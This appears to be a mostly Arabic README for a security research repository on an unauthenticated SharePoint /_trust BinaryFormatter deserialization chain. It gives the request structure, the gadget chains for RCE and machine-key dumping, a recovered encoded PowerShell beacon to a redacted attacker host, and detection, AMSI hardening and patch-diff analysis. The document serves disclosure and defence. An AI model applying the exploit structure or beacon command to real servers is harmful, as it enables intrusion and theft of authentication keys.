
PoC, IOCs, and detection logic for the SharePoint /_trust WS-Federation BinaryFormatter deserialization chain. Lab reconstruction covering unauthenticated RCE, in-process machine key theft, and the artifacts each variant leaves behind. SharePoint 2016, 2019, and Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust لـ SharePoint: PoC وملاحظات اكتشافتوثيق مباشر (GitHub Pages): https://sp-poc.wismansec.com/ (عرض HTML لهذا المستند).
المتأثر: SharePoint Server 2016 و2019 وSubscription Edition.
إعادة بناء لاختراق SharePoint Server (Subscription Edition) في مختبر معزول، أُنشئت بهدف (أ) فهم القدرة الكاملة للمهاجم، (ب) تحديد ما يجب على المدافع اصطياده، بما في ذلك الثبات الخفي، و(ج) مشاركة PoC لمساعدة المحققين الآخرين.
بحث مصرّح به فقط. كل ما ورد هنا نُفّذ على عتاد وحسابات مختبر معزولة مملوكة شخصيًا، ضد بناء تُرك بدون تحديثات عمدًا لأغراض الاختبار. المشكلة الأساسية أصلحها البائع؛ طبّق التحديثات الحالية. لا تشغّل هذا ضد أنظمة لا تملكها وليس لديك إذن صريح باختبارها. قيم مفاتيح الجهاز وأسماء المضيفين/عناوين IP الداخلية ونطاقات الاستدعاء منقّحة في النص والقطع الأثرية التوضيحية. لقطات شاشة SIEM غير معدّلة وتحمل الأسماء الحقيقية للمختبر؛ انظر الملاحظة في §4.
SecurityContextToken عبر BinaryFormatter في /_trustPOST /_trust/default.aspx واحد غير مُصادَق عليه (تسجيل دخول WS-Federation) يحمل SecurityContextToken خبيثًا يُطلق إلغاء تسلسل BinaryFormatter في عامل SharePoint (w3wp.exe)، مما ينتج عنه تنفيذ كود عن بُعد (RCE) بهوية تجمع تطبيق الويب./_trust يكتشفه ويحصره؛ انظر §5). تلك المفاتيح تتيح للمهاجم تزوير __VIEWSTATE/رموز مصادقة تنجو من التحديثات./_trust، وهي القطعة الأثرية الوحيدة الموجودة في كل اختلاف.يكشف SharePoint عن نقطة نهاية تسجيل دخول سلبي لـ WS-Federation على /_trust/default.aspx. استجابة تسجيل دخول مُحضَّرة (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) تضمّن SecurityContextToken يكون عنصر <Cookie> فيه دفق BinaryFormatter بترميز base64 ومضغوطًا بـ DEFLATE. على جانب الخادم، يُفك ضغط هذا الكوكي ويُلغى تسلسله دون تقييد للنوع، لذا فإن سلسلة أدوات (gadget chain) عبر ysoserial.net تنفّذ كودًا يتحكم به المهاجم داخل w3wp.exe.
هيكل الطلب (بدون مصادقة):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
السيناريوهات (منقّحة) في scripts/: RCE خارج النطاق ذو معاملات وتفريغ مفاتيح على مرحلتين. توصيل الحمولة يستخدم PowerShell -EncodedCommand بحيث تنجو الحمولات متعددة العبارات من طبقات cmd.exe/النقل سليمة (دون كسر في اقتباسات ;/&&).
مجموعة SharePoint SE واحدة (بناء مثبّت على نسخة ما قبل الإصلاح)، هوية تجمع التطبيق LAB\sp_pool، PowerShell 5.1، Microsoft Defender مفعّل مع الحماية السحابية. البيانات التشخيصية (سجل أحداث Windows، سجلات SharePoint، Defender for Endpoint) تُرسل إلى nano، وهو SIEM مفتوح المصدر خفيف الوزن؛ مضيف المهاجم شغّل ysoserial.net؛ عميل interactsh وفّر مستمع OOB. العناوين والنطاقات منقّحة في النص؛ انظر ملاحظة لقطة الشاشة في §4.
كل صف هو تفجير حقيقي واحد؛ القطع الأثرية مسحوبة من SIEM + مستمع OOB لكل تشغيل.
لقطات الشاشة غير معدّلة. تحمل أسماء المضيفين وNetBIOS الحقيقية للمختبر، وهي فظة وتختلف عن
SHAREPOINT01/LABالمنقّحَين المستخدمَين في النص. نفس التشغيلات، نفس الأحداث، لا شيء مُجهّز. بدائل آمنة للعمل فيartifacts/.
هذه النتائج خاصة بإعداد AMSI الافتراضي (وضع Balanced، /_trust غير مفحوص). مع تفعيل فحص جسم الطلب عبر AMSI لـ /_trust (وضع Full أو مستهدف)، فإن كل صف يُحصَر بدلًا من ذلك في طبقة الطلب: HTTP 400، Exploit:Script/SpCookieExec.A، قبل التنفيذ (انظر §5).

التفجيرات الأربعة الموثقة، من 15:01 إلى 15:18 UTC، كل عملية فرعية من w3wp.exe تعمل بهوية التجمع. ثلاثة من الأربعة هي powershell.exe أُطلقت مباشرة. تشغيل 15:03:34 وحده يمر عبر cmd.exe، وهذا التشغيل وحده تم اكتشافه. إذا وسّعت النافذة بعد هذه النقطة، فستدخل تكرارات التطوير السابقة من نفس الصباح في مجموعة النتائج، لذا فإن الادعاء مقصور على هذه التشغيلات الأربعة.

الاستدعاء الافتراضي: w3wp.exe → cmd.exe → powershell.exe، مع conhost.exe إلى جانبه. هذا هو الشكل الذي يعتمد عليه Behavior:Win32/WebshellLauncher.A.

استدعاء -RawCmd، نفس البدائية ونفس الحمولة، مع إزالة القفزة عبر cmd.exe. لم يُنتج Defender أي شيء لهذا التشغيل. الكشف المبني على w3wp → cmd يفوته تمامًا.

كل حدث Defender في نافذة الـ25 دقيقة نفسها التي احتوت أربعة تفجيرات. الأحداث الثلاثة كلها تعود إلى تشغيل cmd.exe الوحيد: حدثان malware_detected بخطورة Severe، ثم malware_action_taken بإجراء Remove. المعالجة لم تسبق المنارة، التي اكتملت أولًا.
سطر أوامر رئيسي مسترجع حرفيًا من Security 4688 (الترميز ≠ مراوغة):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

سطر الأوامر المشفَّر كما يظهر في SIEM. هو base64 لـ UTF-16LE ولا شيء أكثر؛ base64 -d | iconv -f utf-16le -t utf-8 يسترجع الاستدعاء في خطوة واحدة. الترميز ليس إخفاءً.
الإطاران أدناه يغطيان نافذة الـ90 ثانية نفسها التي سُرقت فيها مفاتيح جهاز المجموعة.

بدون تصفية، تحتوي النافذة على 20 حدثًا. المضيف حي ويُرسل البيانات التشخيصية.

عند التصفية على العمليات الفرعية لـ w3wp.exe، تكون النافذة نفسها فارغة. لا عملية، لا حدث Defender، لا منارة. غادرت المفاتيح عبر استجابة HTTP، وكانت القطعة الأثرية الوحيدة على جانب المضيف هي طلب /_trust نفسه، الذي لم يكن هذا SIEM يجمعه. التحديث لا يُبطل المفاتيح المسروقة؛ دَوّرها.
كشف -Diag ملتقط عند مستمع OOB (مفكوك ترميز URL):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
البصمة الوحيدة الموجودة في كل اختلاف. اصطدها أولًا:
POST /_trust/default.aspx بجسم wa=wsignin1.0 وwresult يحتوي RequestSecurityTokenResponse + SecurityContextToken/<Cookie>. بدون مصادقة، وغالبًا User-Agent شاذ. خط أساس حالات الاستجابة: حركة تسجيل الدخول المشروعة لـ WS-Federation إلى هذه النقطة هي HTTP 302 في الغالب؛ الاستغلال يُرجع حالات أخرى (200، 500، إعادة تعيين اتصال، أو 400 عندما يحصر AMSI). حيث تحمل النقطة حجم تسجيل دخول حقيقيًا، تعامل مع استجابة غير 302 لـ POST /_trust/default.aspx كأمر شاذ. الحالة وحدها لا تؤكد نجاح الاستغلال؛ تشغيل ناجح أعاد 200 وإعادة تعيين معًا.على أساس العملية (اختلافات RCE فقط):
w3wp.exe يُطلق cmd.exe أو powershell.exe مباشرة. اختلاف -RawCmd يزيل القفزة عبر cmd.exe ويراوغ WebshellLauncher.A، لذا لا تعتمد على w3wp→cmd وحدها.powershell.exe -EncodedCommand تحت w3wp: فك ترميز الكتلة مباشرة من 4688 (ليست مخفاة أثناء التخزين).w3wp.exe → whoami.exe (استطلاع)، أو عملية فرعية conhost.exe.نتيجتان تؤثران على قرارات الاستجابة:
Behavior:Win32/WebshellLauncher.A وعالجها، لوحظ أن المنارة الصادرة اكتملت قبل انتهاء المعالجة في تنفيذ واحد على الأقل. تعامل مع مثل هذا الكشف كاستدعاء ناجح محتمل وراجع سجلات DNS والبروكسي والصادرة بحثًا عن وجهة الاستدعاء حول وقت الكشف.w3wp.exe ويعيد المفاتيح في استجابة HTTP، لذا فإن الدليل الوحيد على جانب المضيف هو طلب POST /_trust/default.aspx واستجابته. ما إذا كان يُكتشف يعتمد على إعداد فحص جسم الطلب عبر AMSI.MITRE ATT&CK: T1190 (استغلال تطبيق مواجه للعموم) · T1059.001 (PowerShell) · T1552 (بيانات اعتماد غير محمية: مفاتيح الجهاز) · T1550 (استخدام مواد مصادقة مزورة، بعد السرقة).
كلا المسارين يسلّمان حمولتهما في جسم طلب POST /_trust/default.aspx. ما إذا كان Microsoft Defender يفحص تلك الحمولة يحدده إعداد فحص جسم الطلب عبر AMSI في SharePoint لتطبيق الويب. اختُبرت ثلاثة إعدادات مباشرة ضد هذه المجموعة (SharePoint Server Subscription Edition، Microsoft Defender):
| إعداد فحص جسم الطلب عبر AMSI | النتيجة |
|---|---|
وضع Balanced، /_trust/default.aspx غير مدرج في قائمة النقاط المستهدفة (افتراضي) | جسم الطلب غير مفحوص؛ المساران ينفذان؛ لا اكتشاف من Defender |
وضع Balanced، /_trust/default.aspx مضاف كنقطة مستهدفة | جسم الطلب مفحوص؛ الطلب محصور |
في الإعداد الافتراضي، لا يُفحص جسم الطلب، لذا يكتمل كل من RCE وكشف مفاتيح الجهاز دون إنتاج أي اكتشاف من AMSI. في أي من إعدادَي الفحص، يُرفض الطلب بـ HTTP 400 قبل إلغاء التسلسل، ولا تُنشأ أي عملية عامل، ويسجّل Defender:
| الحقل | القيمة |
|---|---|
لأن الطلب يُحصَر قبل تشغيل أي كود، لا تُنشأ أي عملية فرعية ولا تُنتَج أحداث Security 4688 لإنشاء العمليات لأي من المسارين. اختلاف RCE الذي يُطلق powershell.exe مباشرة (بدون cmd.exe وسيط) يُحصَر بالطريقة نفسها.
الإعداد (SharePoint Management Shell، لكل تطبيق ويب):
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / تحديث machineKey في web.config + IISReset) على أي مجموعة ربما تم الوصول إليها. التحديث يوقف RCE لكنه لا يُبطل المفاتيح المسروقة بالفعل؛ التدوير يزيل قدرة المهاجم على تزوير FedAuth / SecurityContextToken / __VIEWSTATE للثبات.POST /_trust/default.aspx. تسجيل الدخول المشروع لـ WS-Federation يستهدف هذه النقطة أيضًا بـ wa=wsignin1.0، لذا اعتمد على البنية الخاصة بالاستغلال، لا على النقطة وحدها: wresult يكون رمزه <SecurityContextToken> مع <Cookie> بترميز base64 (مساحة الاسم http://schemas.microsoft.com/ws/2006/05/security؛ بينما يحمل تسجيل الدخول المشروع تأكيد SAML موقّعًا بدلًا من ذلك)، مع استجابة غير 302 (200/500/400 أو إعادة تعيين) وUser-Agent برمجي/شاذ. تفريغ المفاتيح يُرسل طلبَي POST من هذا القبيل بتتابع سريع. إذا وُجد، افترض اختراق المفاتيح.التحليل الساكن لإصلاح البائع يؤكد الآلية ويحسم ما إذا كان RCE يحتاج مفاتيح الجهاز المسروقة: لا يحتاجها. الطريقة: مطابقة فرق ثنائية (binary patch-diff) لـ Microsoft.SharePoint.IdentityModel.dll بين تحديث يونيو التراكمي (KB5002873, 16.0.19725.20384) وتحديث يوليو التراكمي (KB5002882, 16.0.19725.20434)؛ فُكّ تجميعه وقُورن، للقراءة فقط.
مسار القراءة المستغَل هو SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2 (فئة فرعية من System.IdentityModel.Tokens.SessionSecurityTokenHandler). التغيير:
التفسير. سلسلة التحويلات قبل التصحيح كانت deflate فقط، دون تشفير ودون تحويل MAC/توقيع مستند إلى مفتاح الجهاز. ReadToken الأساسي يطبّق التحويلات ويلغي تسلسل قيمة الكوكي، لذا يُفك ضغط الرمز المزوَّر ويُلغي تسلسله دون بوابة تحقق من مفتاح الجهاز؛ الأداة (gadget) تنطلق دون ValidationKey/DecryptionKey (مستقل عن المفتاح). الإصلاح يزيل المصرف (التحويل وReadToken يرميان خطأ) بدلًا من إضافة فحص توقيع/فك تشفير، مما يؤكد عدم وجود بوابة مفاتيح لإصلاحها.
النتيجة. كشف مفاتيح الجهاز هدف ثبات منفصل (تزوير FedAuth / SecurityContextToken / __VIEWSTATE)، وليس شرطًا مسبقًا لـ RCE؛ تفريغ المفاتيح هو بحد ذاته RCE عبر المسار نفسه ويُشغَّل قبل سرقة أي مفتاح.
يتضمّن تحديث يوليو التراكمي نفسه تحصينًا ثانيًا غير ذي صلة: التحقق من توقيع رمز الفاعل JWT في SPJsonWebSecurityTokenHandlerV2 (RequireSignedTokens من false إلى true، مع VerifyActorTokenSignature جديد)، وهو مسار OAuth / من خادم إلى خادم منفصل لرموز الفاعلين، وليس مسار رمز جلسة WS-Federation المغطى هنا.
تطبيق الإصلاح. الإصلاح هو تحديث يوليو التراكمي (KB5002882): يستبدل تحويل الكوكي القائم على deflate فقط بآخر يرمي خطأ، مزيلًا المصرف. بعد تثبيته، تأكد من ألا يُرجع أي إعداد في المجموعة الإصلاحَ إلى الخلف أو يلتف عليه. ضبط SessionCookieTransformProtectionEnabled على false يعيد كوكي رمز الجلسة إلى التحويل القابل للاستغلال القائم على deflate فقط (فيعيد فتح RCE وتفريغ المفاتيح)، وعلامة التصحيح DisableActorTokenSignatureValidation تعيد فتح التفاف توقيع رمز فاعل JWT المنفصل الذي حُصِّن في التحديث نفسه.
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md
| المسار | الأداة (Gadget) | التأثير | قناة الإخراج |
|---|
| RCE خارج النطاق (OOB) | TypeConfuseDelegate → -EncodedCommand PowerShell | تنفيذ كود بهوية التجمع | خارج النطاق (منارة HTTP/DNS) |
| كشف مفاتيح الجهاز | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (يُجمّع KeyDump.cs داخل العملية) | يفريغ ValidationKey/DecryptionKey | مضمن في استجابة HTTP |
| الاستدعاء | شجرة العمليات (بصفة LAB\sp_pool، High) | Defender | منارة OOB | القطع الأثرية الأساسية |
|---|
| RCE خارج النطاق، افتراضي | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 كشف / 1117 إزالة) | وصلت (سباق) | شجرة 4688؛ Defender 1116/1117؛ POST على /_trust |
RCE خارج النطاق، -RawCmd | w3wp.exe → powershell.exe → conhost.exe (بدون cmd) | لا شيء | وصلت (DNS+HTTP) | شجرة 4688؛ POST على /_trust؛ منارة |
RCE خارج النطاق، -DropFile | w3wp.exe → powershell.exe | لا شيء | وصلت | كتابة ملف إلى …\TEMPLATE\LAYOUTS\ (غير موجود في سجل تدقيق الوصول إلى الكائنات) |
RCE خارج النطاق، -Diag | w3wp.exe → powershell.exe → whoami.exe | لا شيء | وصلت | تسريب كشف البيئة: {host, whoami, PSver, LanguageMode} |
| تفريغ مفاتيح الجهاز | (لا شيء، داخل العملية) | لا شيء | (لا شيء) | فقط POST على /_trust + استجابة شاذة تحمل المفاتيح |
| وضع Full (كل النقاط مفحوصة) |
| جسم الطلب مفحوص؛ الطلب محصور |
| التهديد |
Exploit:Script/SpCookieExec.A (ID 2147969862) |
| الخطورة / الفئة | Severe / Exploit |
| مصدر الكشف | AMSI |
| الإجراء | Quarantine |
| العملية | C:\Windows\System32\inetsrv\w3wp.exe |
__VIEWSTATE مُزوَّر / مصادقة شاذة بعد تاريخ أول ظهور./_trust (وضع Full، أو أضف /_trust/default.aspx كنقطة مستهدفة في وضع Balanced؛ انظر §5). هذا يحصر كلاً من RCE وتفريغ المفاتيح في طبقة الطلب، قبل التنفيذ.| يونيو (قابل للاستغلال) | يوليو (مُصلَح) |
|---|
| سلسلة تحويلات الكوكي | s_Transforms = { new DeflateCookieTransform() } (deflate فقط) | s_Transforms = { new NotSupportedCookieTransform() } (Decode/Encode ترميان خطأ) |
تجاوزات ReadToken | لا شيء (يرث ReadToken الأساسي) | ReadToken(XmlReader, SecurityTokenResolver) وReadToken(XmlReader) وReadToken(string) كلها ترمي NotSupportedException |